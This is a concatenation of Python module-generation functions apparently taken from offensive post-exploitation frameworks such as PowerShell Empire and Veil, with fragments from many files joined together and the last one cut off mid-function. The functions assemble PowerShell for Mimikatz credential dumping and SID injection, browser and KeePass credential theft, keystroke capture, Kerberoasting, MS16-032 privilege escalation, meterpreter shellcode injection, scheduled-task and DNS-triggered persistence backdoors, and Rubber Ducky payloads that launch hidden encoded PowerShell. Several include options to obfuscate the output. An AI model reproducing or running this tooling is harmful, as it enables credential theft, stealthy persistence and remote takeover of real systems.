def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-NinjaCopy.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "$null = Invoke-NinjaCopy " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch scriptEnd += " -" + str(option) else: scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'" if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # build the dump command with whatever options we want scriptEnd = "Invoke-Mimikatz -DumpCreds;" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': scriptEnd += " -" + str(option) + " " + str(values['Value']) if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Inveigh.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # set defaults for Empire script += "\n" + 'Invoke-Inveigh -Tool "2" ' for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: if "," in str(values['Value']): quoted = '"' + str(values['Value']).replace(',', '","') + '"' script += " -" + str(option) + " " + quoted else: script += " -" + str(option) + " \"" + str(values['Value']) + "\"" return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Out-Minidump.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if option == "ProcessName": script += "Get-Process " + values['Value'] + " | Out-Minidump" elif option == "ProcessId": script += "Get-Process -Id " + values['Value'] + " | Out-Minidump" for option,values in self.options.iteritems(): if values['Value'] and values['Value'] != '': if option != "Agent" and option != "ProcessName" and option != "ProcessId": script += " -" + str(option) + " " + str(values['Value']) return script
def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() # get just the code needed for the specified function script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-Jenkins.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "\nExploit-Jenkins" script += " -Rhost "+str(self.options['Rhost']['Value']) script += " -Port "+str(self.options['Port']['Value']) command = str(self.options['Cmd']['Value']) # if the command contains spaces, wrap it in quotes before passing to ps script if " " in command: script += " -Cmd \"" + command + "\"" else: script += " -Cmd " + command return script
def generate(self): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-ChromeDump.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += " Get-ChromeDump" # add any arguments to the end execution of the script for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) return script
def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() # get just the code needed for the specified function script = moduleCode scriptEnd = "\nFind-KeePassconfig | Get-KeePassConfigTrigger " scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ARPScan.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Invoke-ARPScan " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += " | Select-Object MAC, Address | ft -autosize | Out-String | %{$_ + \"`n\"}" return script
def generate(self): moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # generate the launcher code without base64 encoding l = self.mainMenu.stagers.stagers['multi/launcher'] l.options['Listener']['Value'] = self.options['Listener']['Value'] l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] l.options['Proxy']['Value'] = self.options['Proxy']['Value'] l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] l.options['Base64']['Value'] = 'False' launcherCode = l.generate() # need to escape characters launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'") script += 'Invoke-MS16032 -Command "' + launcherCode + '"' script += ';`nInvoke-MS16032 completed.' return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Invoke-WinEnum " # add any arguments to the end execution of the script for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) return script
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # build the custom command with whatever options we want scriptEnd = "Invoke-Mimikatz -Command " scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'" if obfuscate: scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode + "\n" scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch scriptEnd += " -" + str(option) else: scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' if obfuscate: scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # build the dump command with whatever options we want script += "Invoke-Mimikatz;" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-SiteListPassword.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Get-SiteListPassword " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += "| Out-String | %{$_ + \"`n\"};" script += "'Get-SiteListPassword completed'" return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Find-Fruit.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "\nFind-Fruit" showAll = self.options['ShowAll']['Value'].lower() for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "showall": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) if showAll != "true": script += " | ?{$_.Status -eq 'OK'}" script += " | Format-Table -AutoSize | Out-String" return script
def generate(self): moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1" try: f = open(moduleSource, "r") except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # generate the launcher code without base64 encoding l = self.mainMenu.stagers.stagers["launcher"] l.options["Listener"]["Value"] = self.options["Listener"]["Value"] l.options["UserAgent"]["Value"] = self.options["UserAgent"]["Value"] l.options["Proxy"]["Value"] = self.options["Proxy"]["Value"] l.options["ProxyCreds"]["Value"] = self.options["ProxyCreds"]["Value"] l.options["Base64"]["Value"] = "False" launcherCode = l.generate() # need to escape characters launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace('"', "'") script += 'Invoke-MS16032 -Command "' + launcherCode + '"' script += ";`nInvoke-MS16032 completed." return script
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-FileFinder.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Invoke-FileFinder " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) script += " | Out-String" return script
def generate(self): # extract all of our options listenerID = self.options['Listener']['Value'] # extract out the listener config information listener = self.mainMenu.listeners.get_listener(listenerID) if listener: # extract out the listener config information name = listener[1] host = listener[2] port = listener[3] certPath = listener[4] profile = listener[8] listenerType = listener[-2] redirectTarget = listener[-1] resources = profile.split("|")[0] code = self.mainMenu.stagers.generate_hop_php(host, resources) return code else: print helpers.color("[!] Error in hop.php generation.") return ""
def generate(self): # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] safeChecks = self.options['SafeChecks']['Value'] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: duckyCode = "DELAY 1000\n" duckyCode += "COMMAND SPACE\n" duckyCode += "DELAY 1000\n" duckyCode += "STRING TERMINAL\n" duckyCode += "ENTER \n" duckyCode += "DELAY 1000\n" duckyCode += "STRING "+launcher duckyCode += "\nENTER\n" duckyCode += "DELAY 1000\n" return duckyCode
def generate(self): # extract all of our options listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: enc = launcher.split(" ")[-1] duckyCode = "DELAY 3000\n" duckyCode += "GUI r\n" duckyCode += "DELAY 1000\n" duckyCode += "STRING cmd\n" duckyCode += "ENTER\n" duckyCode += "DELAY 2000\n" duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n" duckyCode += "ENTER\n" return duckyCode
def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. """ print helpers.color("[!] generate_agent() not implemented for listeners/template") return ''
def default_response(self): """ If there's a default response expected from the server that the client needs to ignore, (i.e. a default HTTP page), put the generation here. """ print helpers.color("[!] default_response() not implemented for listeners/template") return ''
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-USBKeystrokes.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "Get-USBKeystrokes " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) return script
def generate(self): moduleName = self.info['Name'] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Kerberoast.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode script += "\nInvoke-Kerberoast " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script
def generate(self): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() # get just the code needed for the specified function script = moduleCode # kill all KeePass instances first script += "\nGet-Process *keepass* | Stop-Process -Force" script += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger " script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode # ridiculous escape format groups = " ".join(['"\\""'+group.strip().strip("'\"")+'"""' for group in self.options["Groups"]['Value'].split(",")]) # build the custom command with whatever options we want command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups # base64 encode the command to pass to Invoke-Mimikatz scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';" if obfuscate: scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. """ print helpers.color("[!] generate_stager() not implemented for listeners/template") return ''
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "\nInvoke-Shellcode -Force" listenerName = self.options['Listener']['Value'] if listenerName != "": if not self.mainMenu.listeners.is_listener_valid(listenerName): print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # TODO: redo pulling these listener configs... #Old method no longer working #temporary fix until a more elegant solution is in place, unless this is the most elegant???? :) #[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(listenerName) host = self.mainMenu.listeners.loadedListeners['meterpreter'].options['Host']['Value'] port = self.mainMenu.listeners.loadedListeners['meterpreter'].options['Port']['Value'] MSFpayload = "reverse_http" if "https" in host: MSFpayload += "s" hostname = host.split(":")[1].strip("/") self.options['Lhost']['Value'] = str(hostname) self.options['Lport']['Value'] = str(port) self.options['Payload']['Value'] = str(MSFpayload) for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener": if values['Value'] and values['Value'] != '': if option.lower() == "payload": payload = "windows/meterpreter/" + str(values['Value']) scriptEnd += " -" + str(option) + " " + payload elif option.lower() == "shellcode": # transform the shellcode to the correct format sc = ",0".join(values['Value'].split("\\"))[1:] scriptEnd += " -" + str(option) + " @(" + sc + ")" else: scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += "; 'Shellcode injected.'" if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self): # extract all of our options listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] sysWow64 = self.options['SysWow64']['Value'] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting if sysWow64.lower() == "true": stagerCode = "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher else: stagerCode = "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher parts = stagerCode.split(" ") code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName) return code
def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ selected_payload = None options = None showMessage = False if settings.TERMINAL_CLEAR != "false": showMessage = True # if no generation method has been selected yet if self.msfvenomCommand == "" and self.custom_shellcode == "": # show banner? if settings.TERMINAL_CLEAR != "false": showMessage = True # prompt for custom shellcode or msfvenom custom_shellcode = self.payload_selection_menu(showMessage) # if custom shellcode is specified, set it if custom_shellcode == "ordnance": # Start figuring out Ordnance stuff here self.invoke_ordnance = True elif custom_shellcode: self.custom_shellcode = custom_shellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completer.MSFCompleter(self.payload_tree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while selected_payload is None: print( '\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True)) print(' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True)) try: selected_payload = self.required_options[ 'MSF_PAYLOAD'][0] print(' [>] Please enter metasploit payload: %s' % (selected_payload)) except: selected_payload = input( ' [>] Please enter metasploit payload: ').strip( ).lower() if selected_payload == "": # default to reverse_tcp for the payload selected_payload = "windows/meterpreter/reverse_tcp" try: parts = selected_payload.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payload_tree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload if 'PAYLOAD' in self.required_options: del self.required_options['PAYLOAD'] print( helpers.color( " [!] ERROR: Invalid payload specified!\n", warning=True)) selected_payload = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = selected_payload # request a value for each required option for option in options: value = "" while value == "": ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": try: value = self.required_options['LHOST'][0] print( ' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value)) except: # set the completer to fill in the local IP readline.set_completer( completer.IPCompleter().complete) value = input( ' [>] Enter value for \'LHOST\', [tab] for local IP: ' ).strip() if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a IP validation check if not helpers.validate_ip(value): if 'LHOST' in self.required_options: self.required_options['LHOST'][ 0] = '' print( helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True)) value = "" # otherwise assume we've been passed a domain name else: if not helpers.validate_hostname( value): if 'LHOST' in self.required_options: self.required_options['LHOST'][ 0] = '' print( helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True)) value = "" # if we don't have at least one period in the hostname/IP else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print( helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" elif ':' in value: try: socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = '' print( helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" else: if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = '' print( helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" elif option == "LPORT": try: value = self.required_options['LPORT'][0] print(' [>] Enter value for \'LPORT\': %s' % (value)) except: # set the completer to fill in the default MSF port (4444) readline.set_completer( completer.MSFPortCompleter().complete) value = input( ' [>] Enter value for \'LPORT\': ').strip( ) try: if int(value) <= 0 or int(value) >= 65535: print( helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: self.required_options['LPORT'][0] = '' value = "" except ValueError: print( helpers.color( " [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: self.required_options['LPORT'][0] = '' value = "" else: value = input(' [>] Enter value for \'' + option + '\': ').strip() # append all the msfvenom options self.msfvenom_options.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extra_msf_options = list() while True: # clear out the tab completion readline.set_completer(completer.none().complete) selection = input( ' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ' ).strip() if selection != "": num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': if "=" not in xtra_opt: print( helpers.color( " [!] Parameter not entered in correct syntax.\n", warning=True)) continue if "-" in xtra_opt.split('=')[0]: final_opt = xtra_opt.split( '=')[0] + " " + xtra_opt.split('=')[1] extra_msf_options.append(final_opt) else: final_opt = xtra_opt.split( '=')[0] + "=" + xtra_opt.split('=')[1] extra_msf_options.append(final_opt) else: break # grab any specified msfvenom options in the /etc/veil/settings.py file msfvenom_options = "" if hasattr(settings, "MSFVENOM_OPTIONS"): msfvenom_options = settings.MSFVENOM_OPTIONS # build out the msfvenom command self.msfvenomCommand = "msfvenom " + msfvenom_options + " -p " + selected_payload for option in self.msfvenom_options: self.msfvenomCommand += " " + option self.options.append(option) if len(extra_msf_options) != 0: self.msfvenomCommand += " " + " ".join(extra_msf_options) self.msfvenomCommand += " -f c | tr -d \'\"\' | tr -d \'\\n\'" return
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-ResolverBackdoor { param( [Parameter(Mandatory=$False,Position=1)] [string]$Hostname, [Parameter(Mandatory=$False,Position=2)] [string]$Trigger="127.0.0.1", [Parameter(Mandatory=$False,Position=3)] [int] $Timeout=0, [Parameter(Mandatory=$False,Position=4)] [int] $Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } try { $ips = [System.Net.Dns]::GetHostAddresses($Hostname) foreach ($addr in $ips) { $resolved=$addr.IPAddressToString if($resolved -ne $Trigger) { $running=$False REPLACE_LAUNCHER } } } catch [System.Net.Sockets.SocketException]{ } Start-Sleep -s $Sleep } } Invoke-ResolverBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print(helpers.color("[!] Invalid listener: " + listenerName)) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["multi/launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) for option, values in self.options.items(): if option.lower() != "agent" and option.lower( ) != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str( values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname( outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print( helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile)) return "" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc " launcher = helpers.powershell_launcher(script, modifiable_launcher) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % ( parts[0], " ".join(parts[1:])) if obfuscate: scriptLauncher = helpers.obfuscate( self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) return scriptLauncher
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] idleTime = self.options['IdleTime']['Value'] onLogon = self.options['OnLogon']['Value'] taskName = self.options['TaskName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "schtasks /Delete /F /TN " + taskName + ";" script += "'Schtasks persistence removed.'" if obfuscate: script = helpers.obfuscate( self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a 